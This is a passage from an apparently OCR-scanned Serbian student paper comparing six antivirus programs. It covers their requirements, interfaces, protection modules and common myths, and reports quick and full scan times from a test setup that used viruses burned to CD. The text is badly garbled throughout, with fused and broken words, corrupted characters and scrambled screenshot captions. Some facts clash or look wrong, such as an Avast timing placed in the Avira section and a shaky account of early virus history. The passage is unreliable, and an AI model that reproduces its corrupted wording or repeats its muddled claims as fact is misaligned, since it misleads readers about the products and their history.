na nemakom trzistu, gde se i odrzao.

Raspolozivosti | Sistemski Zahtevi G-DATE

G Data antivirus ne podrzava besplatnu verzijukatisnici mogu da preuzmu sa web stranice

besplatnu probnu verziju koja traje 30 dana.

http://www.qgdatasoftware.co.uk/free-trial.html

G-Data 2013 se moze kupiti u Winwin kompjuterskoiripaniji, cena je 2905,00dinata

Operativni sistem: Windows 8, Windows7, WindowstslisXp

Memorija: Min. 1024MB

HDD: Min. 600mb slobodnog mesta
CPU Min. Intel Pentium 4
Instalacija:

Prvi korak instalacije jeste odabir jezika na kokwgisnik Zeli da koristi program. Moze se
izabrati dva tipa instalacije,StandradInstall, jprepljiv za korisnike ili User-definedinstallation.

Na kraju instalacije, korisnik moze da odredi gdanstalirati program ili deo programa.

11http://www.winwin.rs/g—data—a ntivirus-2013-za-fizicko-lice.html
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Interfejs

G-Data  proizvodi nisu toliko , G Data Antivirus 2014
rasprostranjeni u nasoj zemlji.

. . . . . SecurityCenter Fe Xl
Smo Ih Izabrall’ Jer Je AV @ There are @ Virus signatures are up to date o

Comporath 12 u OVOJ god|n| Je ion]  Active (all modules) & Lostupdate  8/30/2013

Paused & Mexupdate: 32 Minutes
Enabled

Enabled

ocenjen na osnovu 99,8% priznavan

performanse. Dakle, ove godine |

License: 29 day(s) remaining (trial) E Messages

imenovan za najefikasniji programe

(D Program update available

Probna verzija interfejsa se sastoji iz

. ) ) ) ) G Data Se(urhyMade?nGermany.
dela (slika 14). Slika 14. G-Data Antivirus
Sigurnosni centar (Secure Center): korisnik dobifarmacije o stanju sistema. Pod menijem
virusne protekcije se moze pokrenuti skeniranjeiTmeni je Autostartmanager. Ubrzava rad
racunara. Uz pomé Startup Managera, moze se kontrolisati koji prograe pokrenu prvi kada

se r&unar uklji&i, tako da i kod starijih kunara moze do do brzeg i dinangnijeg rada.
Tipovi testiranja:

Skeniranje celog tainara: skenira sve podatke nauaru. Od koliine podataka zavisi koliko

¢e vremena biti potrebno za skeniranje.

- Skeniranje Memorije: skenira memoriju knara, ili trazi one programe Kkoji

komuniciraju sa Internetom.
- Skeniranje Fajlova: mozemo izabrati koje fajlove zZelimo da skeniramo.

- Skeniranje Spoljasnjin Medijuma: u mnogo sluSajeva, kompjuteri se infekcije putem
ulaznih ur@aja. Zato je vazno skeniranje istih. M@gost skeniranja imaju CD, DVD ili
USB.

- Rootkit Skeniranje: rootkit su takvi programi, koji obezbeju tzv. kapiju hakerima, Sto

im olakSava pristupdnim podacima.

12AV—Comparativs, mart. 2012, http://virusirto.hu/tesztek/2012-es-virusirto-tesztek
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Moduli Zastite
- Web Zastita: ova vrsta zasStite sa G-Data programom obuhvatihwiju filtriranja http
saobraaja ili zarazene URY adrese.

- E-Mail Zastita: skenira dolaznu i odlaznu postu. Korisnici imajuguinost podeSavanja
e-poste, gde mogu omadti sebi koju poStu ne Zele da primaju. Moze segsitd da

kontroliSe samo one mejlove koje imaju prilogeg@iment).

30-dnevna verzija G-Data antivirus programa imacava modula, a kod kupovne verzije se
moze néi joS i: BankGuard, trening otisaka prstiju, Idl@8c G-Data se moZe Kkupiti u
beogradskoj WinWin kompaniji za 2.905,00 dirfra

G-Data podrzava veoma korisnu opciju, BOOTMEDIUNkkdpokret&). Uloga disk pokretza
je da pripremi jedan fajl uZiju pomaé se podeSavanja mogu vratiti na ona podeSavangj&oj
operativni sistem namestio pre nego Sto je faprem. Ovo je vazno, jer u slaju bilo kakvog
kvara, ili infekcije se brzo moze vratiti na staperativni sistem.

3.2.6. PANDA CLOUD ANTIVIRUS FREE

Kratka Istorija PANDA ANTIVIRUSA

Mikel Urizarbarrena je 1990. izneo na trziSte pewgski paket Panda Software. 2007.,
kompanija je proSla bez velikih promena, pa je Boline Panda Security. Panda antivirus

program je prvi program u 2010. koji sadrzi ,,olaéalnu zastitu.
Raspolozivosti | Sistemski Zahtevi PANDE

Panda programski paket podrzava besplatnu verajunternetu, koja se moze preuzeti sa
sledé€e Internet stranice:

http://free.pandasecurity.com/

Panda Antivirus 2014 se moZe kupiti, cena je 44DdifGara:>

13 URL je tekstualni niz koji predstavlja Internetrasu
4 http://www.winwin.rs/g-data-antivirus-2013-za-fiko-lice.html
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Uslovi potrebni za normalno funkcionisanje PandaudlAntivirusa su slede

Operativnisistem: Windows 8, Windows7, Windows "isXp

Memorija: Min. 64MB

Instalacija:Instalacija programa zapoje odabirom jezika, ili korisnik oddeje mesto
instalacije. Panda antivirus ima samo jedan tipgalasije. Poslednji korak u instalaciji je
podeSavanje zastitnog Stita. Ovaj tip zastite 8ttieiene fajlove, foldere i podatke. Tako drugi

ne mogu déi do zaStéenih podataka.

Interfejs: Glavna stranica Panda Clouda se sastoji od 4 glaveaija, ali u sltaju Free
programa, dostupna su samo dva. Aktivni meni jditaa®d virusa, gde postoji moguost
pokretanja skeniranja. Druga opcija su procesi, iglistava sve programe u funkciji, proverava

da li su sigurni i daje moguaost korisniku da zatvori program (slika 15).

- =X
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Slika 15. Panda Cloud Antivirus

Tipovi testiranja:

- Optimalno Testiranje: Pregleda one fajlove koje @bio sadrzZe viruse.

- Testiranje Sopstvenog Ré&unara: ova vrsta testiranja odgovara celomiuraru.
Trajanje testiranja zavisi od koine podataka koja se nalazi n&uaaru.

Phttps://shop.pandasecurity.com/cgi-bin/pp/?id=A12AP13ESD
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- Testiranje Ostalih ElemenatA: korisnik vrSi proveru ostalih stavki (fajlovi, fiére, itd.)

Moduli Zastite
Panda Cloud Free Antivirus program sadrzi stedaodule:

- Realtime Antivirus And Spyware: kontinuirano proverava deSavanja néurearu. Prati rad

programa i pazi da li su zarazeni.

- Analiza PonaSanja: prati funkciju otvorenih programa. Ukoliko se dgsbmena, blokira

program ukoliko je zarazen.

- Filtriranje Web-A | Url-A : prati Internet pretraziva Ako detektuje opasnost, onemaog;je
sajt za korisnika. Moze se primetiti malo usporgmékom otvaranja pretraziva, nar@ito ako
se otvara vide strana. Cena Panda Cloud Antivil336 42etf (u Srbiji se ne moZe tiau
prodavnicama). Ovaj program, pored besplatne es#frzi jos i firewall, WIRI zastitu i USB

testiranje.

U Panda Cloud-u se moze podesiti RODITELISKA KONTRQuz ¢iju pomc roditelji prate
na koje sajtove im odlaze deca, i koji sucedje poséivani. Korisnici imaju mogénost
blokiranja nepozeljnih stranica. Druga interesantpeija je RESTAURACIJA BOOT-a. Sa
ovim podeSavanjem, korisnik ima magst kreiranja datoteke koja ukazuje na stanjanara
ukoliko se detektuje infekcija, ili se na drugikimaosteti r&unar. Na ovaj nan, se rgunar uvek

moze vratiti na prethodno stanje.

®https://shop.pandasecurity.com/cgi-bin/pp//m|=DE/reg=RS?id=A12AP13ESD

17 . vy v v
WIFI je beZi¢na racunarska mreza
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3.3. ANALIZA ANTIVIRUSNIH PROGRAMA

Tokom rada smo se upoznali sa principom rada ansiyrograma. Svaki program se bavi bazom
podataka, koja sadrzi &goznate definicije virusa, ili se najviSe fokusita heuristiku zastitu,

pri cemu r&unar dobiva zn&jnu zastitu protiv joS ne detektovanih virusa. thNeasStu se moze
n&ci veliki broj programa, od koje neke mozemo preubkesplatno. Ali, koji su t&no programi
najefikasniji i najpouzdaniji. Jedan od glavniheta ovoga rada je da odgovore na ovo pitanje.
Prvenstveno se moramo upoznati sa tim antivirugraraima. Sledi opis sleéié@ programa:
Avira Free Antivirus, Avast free antivirus, Avg &eAntivirus, G-Data, F-secure, Bitdefender
free. Ta&ka glediSta prezentovanja programa se oslikava Znosi upotrebe programa za
korisnika. Vazan faktor je cena samog softveralnBaneta se mogu preuzeti i koristiti mnogi
programi besplatno, ali mnogi i kupuju softvere. IDzaista viSe vredi pk@eni program od onog
besplatnog? Jedan deo testiranih programa je haspkli se testiraju i trial verzije od 30 dana.
U tabeli se moze videti koji programi se mogu petuga Interneta i besplatno koristiti (tabela
3):

Tabela 3. Program koji se mogu bespaltno koristiti

AVIRA AVAST AVG PANDA CLOUD F-SECURE G-DATA
besplatno + + + +
Probna
verzija na 30 + +
dana

Vazno je da korisnici pre instaliranja programansgiz t&ne informacije o softverskim uslovima
sistema. Ovo je veoma vazno, jer kod slabijiturera, antivirus programi koji prate sistemske
uslove joS viSe usporavajuctmar. U mnogim skajevima se deSava, da se toliko uspori rad
ratunara da je faunar skoro neupotrebljiv. Sistemski uslovi se u ginoslwajevima mogu na

na zvaninim web stranicama. Na sleudg tabeli (Tabela 4) se mogu videti sistemski zahte
testiranih programa:
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Tabela 4. Sistemski zahtevi

PANDA

AVIRA AVAST AVG CLOUD F-SECURE G-DATA
Operativni Win7, Vista, | Win8, Win7, | Win8, Win7, | Win8, Win7,
sistem win7, Xp Win7, Xp Xp Vista, Xp Vista, Xp Vista, Xp
Ram memorija 512mb 256mb 512mb 64mb 512mb 1024mb
HDD
slobodno
mesto 150mb 210mb 1000mb - 600mb 600mb

Tabela 4 pokazuje najpogodnije tipove softverad@adloud, F-Secure i G-Data. Kod kéasja

memorije, najvéu prednost ima Panda Cloud, koja se moZe koristdi starijim rgunarima. Na

HDD-u, najmanje mesta zauzimaju Avira i Avast peogi.

Testirani programi se instaliraju na dvaima. Standardnom ili prilagienom instalacijom. Za

korisnike je najprepoxiljivija standardna instalacija, jer se ovde mogti paethodno definisana

podeSavanja, koja su potrebna da bi program savif§@Rkcionisao.

Interfejs: predstavljeni programi sedua delom tEu glavnih stranica prijateljskih za korisnika.

To zn&i da je glavna strana podeljena na glavhe menij@ako pomaze korisnicima da se

orijentiSu. TeSko je odtiti koji je najbolji ili najgori (slika 16).

Jalowmatt FREE ANTIVIRUS 1es nem ressssr it (20 nag van mss fites
5

LA euonsis

Q

'7,1 3

Beklitisod

Bizionsagos

Taizfal %‘1

il Tetszik a Panda Cloud Antivirus.

= 5%

Frissités PRO verziral el

Virusvédelem

Join Our Community!

..and get Tech Supporl, manage your account and enjoy many

more free services.

Slika 16. Interfejsi AV programa
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Avast je zato osvojio prvo mesto, jer su glavni ifi@saglaseni. Sa leve strane se kod odabranog
menija nalazi podmeni, koji se moze lako i precikooistiti. Pored toga, svaki meni je jasno,
lepo i kratko opisan, tako da je i za¢ptnike lak za upotrebu. Panda Cloude ima usaglasSene
menije, ali od 4 glavna menija, samo su dva upoteeprilikom kupovine programa. Pored toga,
meniji nisu opisani. Ono Sto mozZe jako da smetsteja@la se na svakom mestu pojavljuje

kupovina Panda Cloude-a, i to je glavni razloga@sna poslednjem mestu.

Tipovi skeniranja: prokazano je kojim tipom skenjease programi bave. Brzo skeniranje i
skeniranje celokupnog ¢danara se mogu Kau svakom programu. Ono Sto se samo u Avast-u
moze néi, jeste skeniranje pre preuzimanja sistema. Ovgake koristan tip skeniranja, jer

blokira mnoge viruse. Lako se filtriraju virusi,@pokrenemo sistem nakon provere.

Moduli zasStite: pored toga Sto antivirus programatp da rad fanara, oni takde bave sistemom
odbrane. U sled®j tabeli (Tabela 5) je prikazano koji se moduli gnon&i u testiranim

programima.

Tabela 5. Moduli zastite

Zastita AVIRA | AVAST | AVG | PANDA | F-SEC | G-DAT
%Tctf/r; ] " ] ¥ * )
Email - + + - - +
Web + + + + - +
P2pP - + - - - -
IM - + - - - -
Mreza - + - - - -
Skripta - + - - - -
Ponasanje + + - + + -
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Iz tabele 5 se vidi da Avast podrzava najvise madwdbrane. Prilikom testiranja programa, u
mnogim sldajevima je Avira program blokirao web zastitu. Wicslju otvaranja novih web
stranica, desilo se da se na kratko vreme zaustavr&unara. Takde i sistemski zahtevi i

Internet brzina mogu péeminimalne uslove.

U ovom radu, predstavljeni su odabrani Antiviruogrami. Saznali smo gde ih mozemo
nabaviti, za koje programe postoji besplatna varziako ih mozemo instalirati. Pored ovoga,
predstavljen je dizajn, kao i bezbednosni sisteope bposeduju. U tieem delu¢emo pregledati
funkciju antivirus programa. Ovo je vazno, jer gimtis sofver korisnik instalira da bi zastitio
kompjuter od virusa koji dolaze putem Interneta, jgt pogotovo vazno kod spoljasnjosti i kod
sastava. Ali, ako program ne moze da zastiti kotepjwnda je zastareo za upotrebu. Za proveru
funkcionalnosti programa, potrebno je oméigutakvu okolinu koja je nepromenljiva.
Najefikasnije reSenje ovoga predstavlj@u@ar koji ima reinstalirani operacioni sistem na
praznom hard disku. Timée se izbé cinjenica da nema pravih rezultata dobijenih prifiko
ispitivanja, jer je antivirus program prilikom teanja izbrisao podatke sa hard diska, tako da
navedeni softver rte raditi viSe u istom okruzenju. U toku testiranpmsmatréemo sledée

aspekte:

- Brzo testiranje: svaki softver ima brzo testiramgéim skre&e paznju na to koliko vremena

ovaj tip testiranja traje na istom hard disku.

- Potpuno testiranje: svaki softver ima ovaj tip itesja, koji Stedi vreme, jer pregledava
ceo hard disk. Kod ovog tipa testiranja, na kongjutrikljucimo drugi, izlazni hard disk
na kojem se nalaze podaci. Cilj testiranja je daku pregledavanja mnogo podataka prati
koliko vremena utroSi na antivirus programe. Dazbegli ovu gresku, na ¢éanaru mora
postojati program pod imenom Deepfreeze, instalgarciliem da posle svakog restarta

vrati hard disk u prvobitno stanje. Tako svaki geftispita istu kollinu podataka.

- Kod svakog testiranja se posmatra koliko je vremeoiaebno da obaveStava korisnika.

Za korisnika je vazno da zna kolike vremena trajati testiranje.

- Infekcija je jedan od glavnih ispiti¢a efikasnosti. Ranije smo na jedan CD mogli staviti

10 virusa. CD je bitan, jer se sa njega ne mozesator U toku infekcije, posmatra se
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kako program utava viruse (prilikom pokretanja CD-a, virusa, ililixom ponovnog
pretrazivanja virusa). Interesantno je to pod kdjmenom ga prepozna, i iz toga se vidi

da li rade iz posebnih baza podataka. Prepoznairiface predstavijeni u tabeli.

Poslednji deo rada predstavlja procena. Konkremnora se uzeti u obzir koliko je infekcija
napredovala. Time je glavni zadatak antivirus paoge da otkrije, blokira i ukloni virus. Vrsta
testiranja i njegovi podace pomdai da se odredi krajnji ishod. Na kraju rada, mozestoda su
odabran softveri dostigli najbolje rezultate. Dogoznato da jedan antivirus program ne moze

pruziti stopostotnu zastitu , ali je poznato i BowdSimo préiS¢avanje kompjutera.
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4. TESTIRANJE VIRUSA

Prvi virus se pojavio 1981. godine, i sadrzao gmamerne programe pod imenom EIlk Cloner. U
to vreme, nisu postojali personalntuaari, tako da nije mogao da izazove ozbiljnijust®rvi
antivirus program se pojavio 1987., pod imenom Bdfix. Ova kompanija trenutno distribuira
G- Data sigurnosni softverski paket. Masovna pojavdivirus programa se manifestovala
kasnijih godina, dok se istovremeno desila i pojatarneta. Ovo se time moze objasniti, time da
je pojava Interneta samo otvorila vrata virusimi@ko se brze i lakSe mogu Siriti. Korisnicima je
bio potreban program ugiju poma mogu zastiti kompjuter. Kompjuterski virusi su iep
postojali, ali nisu bili toliko opasni po korisnikgr su se teze Sirili. Pojava antivirus progrgea
zn&ilo i veliki marketing, Sto se i sada odrzalo. Néstje nekoliko teorija na osnovu kojih se
pojavljuju virusi, i glavni odgovorni su antivirusompanije. Mnogi veruju da su kompanije

kreatori samih virusa, jer tako mogu prodati vigaizvoda.

Antivirus programi su dugo radili po stalnoj bazdataka,ijim je azuriranjem sam korisnik
rukovao, ili je program automatski preuzeo sa & najnoviju bazu podataka. Mnogo puta se
desilo da korisnici nemaju pristup Internetu, idaksu mogli adekvatno odrzavati svoj program.
Medutim, uprkosc¢injenici da nema pristupa Internetu sa izlaznog ijoedh (CD, USB) na
racunaru bi odbrambeni sistem bio bespdaro protiv novih virusa. Moze secieda nam je
potreban pristup Internetu ukoliko Zelimo da dobativirus radi.Cak i u sl&aju Internet
konekcije, ne mozemo 100% zaStitcwaar, jer se zarazeni program uvek pojavi pre nego
antivirus. Da bi se ispravio ovaj propust, kreirgadakozvana heurigka zaStita. Programi su
tako osmisljeni da prate rad¢umara i da blokiraju svaku promenu i revidirajualBa baza
podataka izveStava ako se neSto sumnjivo desieliistika zastita ne moze pruziti stopostotnu
bezbednost, ali u mnogim ghjevima Stiti kompjuter od infekcije. Koji sisterargntuje najbolju

heuristitku zastitu, moZemo saznati na stranici AV-Compuaestid®.

Postoji bezbroj programa na Internetu koje koristiga zastitu Interneta, ali se u mnogim
slitajevima pojavljuje pitanje na osnowega ga biramo jer svaki oksva najvisSe i najbolje.

Prilikom izbora uzimamo viSe opcija u obzir. Zaleyg korisnika je vazan interfejs, koji spada u

“http://www.av-comparatives.org
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cenu softvera. Sada mnogo programa besplatno izdgjese mogu preuzeti i upotrebljavati.

Naravno, ukazuju koje pogodnosti korisnici imajw &kpe njihove proizvode.

Za korisnika je mozda najvaznije u kojoj meri bett@sni sistem usporavaitaar. Programi na
racunaru viSe usporavaju rad kompjutera nego antivitzsrok tome je, da, npr. jedan méii
program radi jedno vreme, i pored toga usporavapgjotar, i muzikom zabavlja korisnika.
Uprkos tome, virusi neprestalno rade u pozadimade nevidljivi posao za korisnika. Moze se

rei da je za korisnika vaznije koliko usporava raturaara, nego koliko ga stiti.

Mnoge Internet stranice su objavile informacije unKcionalnosti programa. Na ovim web
stranicama se ispituje mnogo faktora vezanih zarieude, npr. kako deluje proaktivna zastita, u
koliko sluiaja se pojavljuje lazna uzbuna. Svake godméiti objavljeno ime antivirusa godine

na osnovu rezultata sume.

U prethodnom delu je izabrano 6 programa, koji skegani iz viSe aspekata. Saznali smo kakve
besplatne verzije programa postoje, kako izgledajliko memorije zauzimaju. Pored toga smo
saznali kakve module sadrze. Npr., koji se bavéiteas posSte, Interneta, firewall-a. Mozemo

reci da smo se upoznali sa karakteristikama programa.

Glavni zadatak ovog dela je da se upoznamo sa ilmkiniosti i efikasnosti. Testéamo vaznije
funkcionalne delove, a na kragjemo sumirati i na osnovu rezultata sumirati antisiprograme.

U toku testiranja se posmatra koliko je vremenaghoto u testiranju antivirusa. Testieano dve
vrste skeniranja. Brzo, tj. celokupno skenirangabrane su ove dve vrste u ovom istrazivanju,
koje postoje u svih 6 tipova. Prilikom testiranjazmo je da su isti uslovi za sve antiviruse. To
¢emo posti, tako Stocemo svaki program testirati na istom kompjuteru,sabkog na novom
operativnom sistemu. Prilikom testiranjawaara, obratiemo paznju na to, koje informacije
korisnik dobija. Konkretno, gledamo da li oZaga preostalo vreme. Druga faza testiranja su
kompjuterske infekcije. Infekcija se deSava putel-& na kojem su virusi. Ovo je bilo
potrebno, ne da bi izbrisao neki antivirus. Posana# to, da Ite prepoznati virus, pod kojim
imenom da lice se nakon infekcije smeti koristitictanar, ili je virus uspeo da unisti operativni

sistem.
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Glavni cilj ovog rada je, da nakon testiranja 6\ants programa mozemo sastaviti rang listu, na

kojoj se vidi najbolji i najefikasniji antivirus pgram.

4.1. MITOVI 1 ZABLUDE U VEZI SA VIRUSIMA I ANTIVIRUSIMA

Na Internetu moZemo tiarazne forume gde postavijamo pitanja i dobijantgavore. Sta su
virusi, kako se mozemo braniti, ko ima kakva iskastPored mnogih korisnih informacija

postoje brojne teorije koje mogu zbuniti korisnik&a red dolazi par mitova:
1. Na ra‘unaru je instaliran antivirus i pruza zastitu od misa.

Na ovo mozemo dati argumente iz viSe aspekatadimnjedbrambeni sistem nije sposoban da
pruzi 100% zastitu. Za ovo postoji vise uzroka.ePstveno se uvek virus pojavi i tek onda
takozvani ,protivotrov’. Pojavom azuriranja,étmari dolaze u zabunu sa stepenom opasnosti

infekcije, zbog toga Sto danasniji antivirusi impjoaktivnu zastitu.
2. Ukoliko ne koristimo Internet, ne mozemo infektiikompjuter.

Istina je da se u ¥&i slucajeva kompjuter infekciji preko Interneta, ali stoi tako moze
infekcijiti na i druge n&ne. Postoji mogénost infekcije preko USBa, CDa, DVDa i drugih

izlaznih uretaja. Tako da se u svakom &hju preporduje upotreba antivirusa.
3. Kada antivirus detektuje virus, treba ga izbrisa

U najve&em sliaju prilikom detekcije virusa, odbrambeni sisteragaoriéuje Sta da uradimo sa
zarazenim fajlom. Imamo mogaost da ga postavimo u karantinu ili izbrisati.98nje zvdi kao
najbolje resenje, ali je isto najbolje pogledatj k@ fajl inficiran. Ovo je vazno, jer ako izbrig®
sistemski fajl, velika je verovatha dace nakon restartovanjadaara née pokrenuti operativni
sistem. Zato se prepauje kontrola gde je prodan zarazeni fajl. Ako se ne razumemo u to,

najbolje je da ga izolujemo.
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4. Virusi mogu unistiti hard disk.

Ovo je ogromna zabluda, Sto je ispitano u visS€ag@va, ali nema nikakvih dokaza o tome.
Kompjuterski virusi mogu da infekcije kompjuter talla postane neupotrebljiv ali to moze da se

popravi sa instalacijom novog operativnog sistefacku greSku ne mogu naneti.
5. Virusi ne mogu inficirati originalni Windows opeativni sistem.

Mozda je ovo jedan od najsib trikova. MoZe da inficira svaki tip. Mozda sartoazlikom, da se
kod originalne verzije lakSe moze vrSiti azurirang@a kojim se ispravlja najmanja greska

operativnog sistema, npr. ona mala vrata kroz iojesi udu.
6. Sto viSe antivirusa koristimo, time imamo bolastitu.

Najlogicnije je za veliki broj korisnika da ako Sto viSetiginusa instalira, to pruza bolju zastitu
kompjuteru. Bas suprotan efekat time postizu. Dragrama blokiraju jedan drugog. Antivirusi
neprestalno proveravaju funkcionalnost kompjutegagsmatraju one programe koji vrSe neke
radnje. Ove programe najvisSe blokiraju. Dakle, dwnéivirus program&e jedan drugog smatrati

virusom i takocée se mausobno blokirati. Tako e postéi stopostotnu zastitu, ake u

© wgsguge

4.2 TOK TESTIRANJA VIRUSA

U prethodnim delovima, upoznali smo se sa svojsvimtnoguinostima antivirus programa. Na
osnovu ovih funkcionalnostimaemo ih rangirati. Pod funkcionalnosti podrazumevaoma
svojstva, koja su najvaznija za funkcionalisanjeinmy dobrog antivirusa. To su sléde
skeniranje r&unara (brzo, tj. celokupno testiranje), duzinu veem skeniranja i koliko dobro

moZze da prepozna virus.
Testiranje se deSava na sléoe kompjuterskim konfiguracijama:

CPU: AMD Athlon X4 636 2,90GHz
RAM: 4gb DDR2 800MHZ

HDD: 160GB sata2

VGA: Geforce GTX 275
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U prvoj fazi testiranja priprema se okolina zause. Bitno je da je ista za sve viruse. Za to je
najbolje reSenje da za svaki virus priprefist, reinstaliran operacioni sistem. Pre testirasga
preuzimaju oni virusi, sa kojireemo inficirati kompjuter. Ove virusgemo narezati na CD. Ovo
je potrebno zbog toga jer se ne moze desiti dangeiras obriSe i virus izgubi. Testiranje se

deSava u sledem fazama:
1. Instalacija antivirusa
2. Brzocekiranje kompjutera (merenje vremena) i posmatieake se oznsva preostalo vreme.

3. Potpuno testiranje kompjutera. Ovaj koéakno vrsiti sa drugog HDD-a, jer je pun podataka i

posmatra se koliko vremena potrosi, pa se mozéi deporenje prilikom testiranja.

4. Sa virusima sa CD-a inficiramo kompjuter. Posmate kako kopiramo zarazeni fajl na

kompjuter, koji je vé prime&ten na CD-u, pa oni primete kada ga prepozna.

5. Svaki antivirus ima svoju bazu podataka. Zamlje pod kojim imenom prepozna virus.

Ovo je prikazano u tabeli.

Cilj testiranja je da testiranje programa moZemogiati prema funkcionalnosti i da od 6

testiranih programa izabereno onaj koji je prenm@enatestu najefikasniji.
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4.3. TESTIRANJE ANTIVIRUSA
« AVIRA ' FREE ANTIVIRUS
Kod programatemo prvo vrSiti brzo testiranje (slika 17). Prik ovakvog néina testiranja,
moze se prorta Quick ScanKod brzog testiranja je vazno da budu pregledanfajlovi koji su

vazni za funkcionalnost kompjutera. Prilikom pokrga testiranja posmatraju se sk@gmdaci:

[E3 Luke Filewalker ~r W = _J1
(R AVIRA  Avira Free Antivirus
B Help

Status: The scan has finished
Last ohject:
Cr\Windows\System32ywwansve.dl

Last detection: Mo detection! Virug information
Scanned files: 1714 Detections: 0
Scanned directories: 1] Suspidous files: 1]
Scanned archives: 1 \Warnings: a
Used time: 00:27 Objects scanned: 1}
Scanned: 100%: Hidden objects: 1]

Slika 17. AVIRA FREE ANTIVIRUS - testiranje

Last objekt- onaj fajl kojeg testira antivirus. Pored ovogdighmo informacije o tome koliko se
fajlova, direktorijuma i arhiva testiralo. Uz pothbsed timemozemo saznati koliko vremena je

trajao pregled, tj. koliko je vremena za to potr@bn

Ako na r&unaru pronde zarazene fajlove, onda mozemo saznati kolikeiprpnaSao, ili uz
poma opcijevirus informationna Internetu mozemo pfitati koje su osobine virusa i praden

stepen opasnosti.
Testiranje Avast antivirusa na hard disku od 16@dbajalo ukupno 00:27 minuta.

Prilikom celokupnog testiranja kompjutera antigirgprogram u potpunosti pregleda sve
dokumente koji se mogu éiana r&unaru. Ovaj tip testiranja se manje koristi jerprebno

puno vremena za njega, i u mnogimcslevima usporava raddanara.

19http://www.avira.com/en/avira—free—a ntivirus
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Kod Avira programa moze sedaelokupno skeniranje pod imendrll computer scanNakon

pokretanja testiranja, mogu sec¢nani podaci koji su se pojavljivali i kod brzogsteanja. Za

ovu vrstu testa bilo je potrebno mnogo viSe vremea@do Sto smo ispitivali hard disk pun

podataka.

Luke Filewalker

(X, AVIRA Avira Free Antivirus

B Help

Status: The scan has finished
Last object:
E:\Windows\winsxs. .. \System.Warkflow.Runtime. dll

Last detection: TR /Rogue, 7403408 Virus information
Scanned files: 945723 Dietections: 1
Scanned directories: 35595 Suspidous files: o
Scanned archives: 13782 Warnings: 5
Used time: 1:07:08 Objects scanned: 339543
Scanned: 100%: Hidden objects: o

) T

Slika 18. AVIRA FREE ANTIVIRUS

Sa slike 18 se moze videti da je ovaj tip testaarjao 1h i 7min. U toku testiranja, nguaaru

nije bilo bitnih promena, dakle, moze se koridigz problema.

Jedan aspekat testiranja pazi kako program inferkdgisnika. Vazno je da se korisniku ukaze

koliko vremenace trajati testiranje. Kod Avira Free Antivius pragra se testiranje deSava u

procentima, kao Sto je prikazano u dve slike izr@db se smatra nedostatkom, jer za korisnika

moze biti podjednako vazno da zna kol testiranje trajati i zato se prepéuje da program

ukazuje na éekivano vreme.
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« AVAST?° FREE ANTIVIRUS

Kod Avast Free Antivirusa brzo testiranje se moag pod imenomQuick Scanznad programa.

Nakon pokretanja programa, pojavljuje se infornaaaj tome koliko¢e se ukupno fajlova

pregledati, kojom brzinonde se to deSavati, i onog koji se upravo pregleckoNazavrSetka

testiranja, informacije koje dobijemo o rezultatintakaie ukazuju koliko vremena je trajalo

testiranje. Rezultati testiranja se mogu videtsleae€oj slici (Slika 19).

4

Quick scan

Scan complete, NO THREAT FOUND

Run time: 0:05:39
Tested filesffolders: 21238/14233
Amount of data tested: 0.5 GE

Infected files:

n
i

Slika 19. AVAST FREE ANTIVIRUS - Rezultati testiranja

Brzo testiranje trajalo je ukupno 5 min. i 39 s€klokupno testiranje se moze¢npod imenom
Full System scatienad Avast programa (slika 20). U toku testiramzemo saznati iste one
informacije kao kod brzog testiranja. Ovaj tip testja dugo traje, ali kompjuter moze bez
problema da funkcioniSe, i nije bilo osetno daanis skenira hard disk.

Celokupno testiranje je trajalo problizno 44mino, Se moze videti na sle¢g slici:

Full system scan

oy Scan complete, THREAT DETECTED!

Run time: 0:43:53
Tested files/folders: 298521/43098
Amount of data tested: 162.8 GB
Infected files: 4

Slika 20. AVAST FREE ANTIVIRUS - Rezultat testiranja

20http://www.avast.com/en—eu/index
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Prikazivanje vremena testiranja se deSava u pas@tcsto u svakom staju smatramo
nedostatkom.

« AVG* FREE ANTIVIRUS
Avg Free Antivirus prilikom testiranja kompjuterauga mnoge informacije korisniku. Testiranje

se moze na pod imenomWhole computer scam interfejs se moze Kana gornjem delu, i uz
poma klizaca se moze odabrati tip testiranja. U toku testirakprisnik prati koliko je fajlova
program pregledao i koje upravo pregleda. To seemaleti i na slici 21.

Pokretanje brzog testiranja se deSava tako SterkkrodabiraWhole Computer Scaninterfejs
koji se moze nd sa gornje strane zaustaviast scarom. U ovom sltaju, program gleda samo
vaznije fajlove.

& AVG. AntiVirus Free

€) Reports e

® whote Computer
Scan 64%
In progress...
Objects scanned: 67396
0
e Registry
Current object: HKLM\SYSTEM\ControlSetd01\services\cmdide

£ Additional scan settings

(:) Dynamic

Archive all

Slika 21. AVG FREE ANTIVIRUS- testiranja

Kod Whole computer scaa se sa podeSavanjem pod imenDgnamic moze nai opcija za
potpuno testiranje. Testiranje je trajalo 1:05:45.

Tokom testiranja, korisnik moze da vidi samo pastdestiranja gde je antivirus stao. Ako se ne
pokazuje vreme testiranja, mozemo ga izmeriti um@omobilnog telefona. Program u tom
slucaju pruza mogénost korisniku da nakon testiranja iskijkompjuter.

“'http://free.avg.com/eu-en/homepage
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« F-SECURE* ANTIVIRUS
Kod F-Secure brzog testiranja mozemdirgpciju Virus and Spywere scab toku pokretanja,

program pokazuje, koliko upravo fajlova pregledavgde. ObaveStava korisnika koje tipove

virusa je pronaSao. Brzo testiranje je ukupno liwadanin, i 16 min.

Celokupno testiranje se moze¢npod imenomFull scan Raspolaze istim onim informacijama

kao kod brzog testiranja. Celokupno testiranjeatoaje 24 min. i 12 sekundi.

Na sledéoj slici (slika 22) se moze videti kako izgleda €e8re Antivirus u toku testiranja.

'O Scan Wizard
Step 1 - Scan

Scan: Full sean (known file types) F Step1-Scan
Target: CA DA EN + system + rootkits Step 2 - Virus cleaning

| Step 3 - Spyware cleaning

: Step 4 - Riskware check
Scanned items: 29886 Step 5 - Suspicious items
Finish

Viruses:
Spyware:

| Riskware:

Suspicious items:

= =

DAPROGRAMOKJOOMLAKAMPP FOR WINDOWS 1.7, 2\ XAMPP-WIN...

E Stop ]
Slika 22. F-SECURE - testiranja

Na slici se takde moze videti, da li ukazuje na proteklo ili predstvreme. U procentima
obaveStava korisnika o tome gde se vrSilo tesgrakprisnici mogu né sa desne strane Stepl,

Step2...itd. uziju poma mogu pratiti, koliko je joS koraka ostalo do krégatiranja.

« G-DATAZ ANTIVIRUS
G-Data Antivirus program u toku testiranja pruzari&micima mnoge informacije- kada se

testiranje deSava, koliko dugo traje. Ovo je jegirogram koji pokazuje procenjeno vreme koje

omogu«ava korisniku da zna koliko je vremena trajaloitasfe.

22http://www.f-secure.com/en/web/home_globaI/home
